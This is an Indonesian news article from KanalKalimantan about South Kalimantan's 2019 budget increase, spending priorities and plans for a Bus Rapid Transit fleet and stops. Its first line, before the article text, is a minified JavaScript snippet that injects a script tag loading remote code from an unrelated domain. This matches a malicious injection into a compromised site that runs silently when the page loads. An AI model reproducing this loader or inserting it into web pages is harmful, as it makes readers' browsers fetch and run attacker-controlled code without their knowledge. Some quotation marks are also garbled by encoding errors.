(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, APBD (Anggaran Pendapatan Belanja Daerah) Kalimantan Selatan mengalami kenaikan hingga mencapai Rp6,7 triliun untuk tahun 2019.
Kenaikan angka tersbut akan digunakan pemerintah dengan sebaik-baiknya. Sekdaprov Kalsel Haris Makkie mengatakan, pada tahun 2019 nanti Pemprov Kalsel akan berkonsentrasi penuh pada bidang infrastruktur, pendidikan, dan kesehatan.
Namun tentu perkembangan tersebut akan terus dilakukan secara bertahap ungkapnya. Karena anggaran pasti diperlukan untuk kegiatan-kegiatan lainnya. Terlepas dari tiga fokus tersebut, tentu bidang lain bukan tidak diperhatikan oleh pemerintah.
“Sektor pariwisata juga kita perhatikan,†kata Haris Makkie.
Alasan kenapa sektor pariwisata sudah mulai diperhatikan karena pemerintah provinsi sudah mulai melihat produk komoditas sektor pertambangan sudah tidak bisa diperbaharui.
Diakui Sekdaprov Kalsel, Pemprov Kalsel juga melirik pengembangan sektor pertanian dan perkebungan yang nantinya akan diintegrasikan dengan sektor pariwisata. Hal ini mereka lakukan karena sektor pariwisata yang tentu lebih banyak dan bahkan menyebar di mana-mana.
Mendukung sektor pariwisata di Kalsel, Kadishub Provinsi Kalsel Rusdiansyah mengatakan, pihaknya menunggu APBD untuk Bus Rapid Transit (BRT) yang akan segera dioperasionalkan pada 2019 mendatang.
Sejauh ini Dishub Kalsel sudah mempunyai 5 armada bus. Rusdiansyah mengaku, unit armada itu masih kurang. “Sebenarnya kita perlu lebih banyak untuk BRT, minimal 20 unit,†sebutnya. Hanya saja, pihaknya tetap melihat perkembangan dari APBD dan akan terus koordinasi dengan SKPD yang terkait dengan anggaran tersebut.
Untuk operasional BRT nantinya, Dishub Kalsel juga menggandeng swasta untuk halte yang kini sudah mencapai hinggai 80 lebih. “85 kalau tidak salah, sudah oke,†katanya.
Pihak swasta masih ditunggu karena sedang dalam tahap pengajuan proposal. Agar dana tersebut tersedia, pihaknya perlu persetujuan Walikota Banjarmasin, Walikota Banjarbaru, dan Bupati Banjar, serta titik-titik persinggahan operasional bus tersebut.
Meskipun tidak menetapkan tanggal yang pasti, tapi Rusdiansyah berharap semuanya telah rampung di tahun 2019. “Karena ini ada turut serta swasta (untuk halte), kita berterima kasih,†pungkasnya. (mario)
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
This website uses cookies.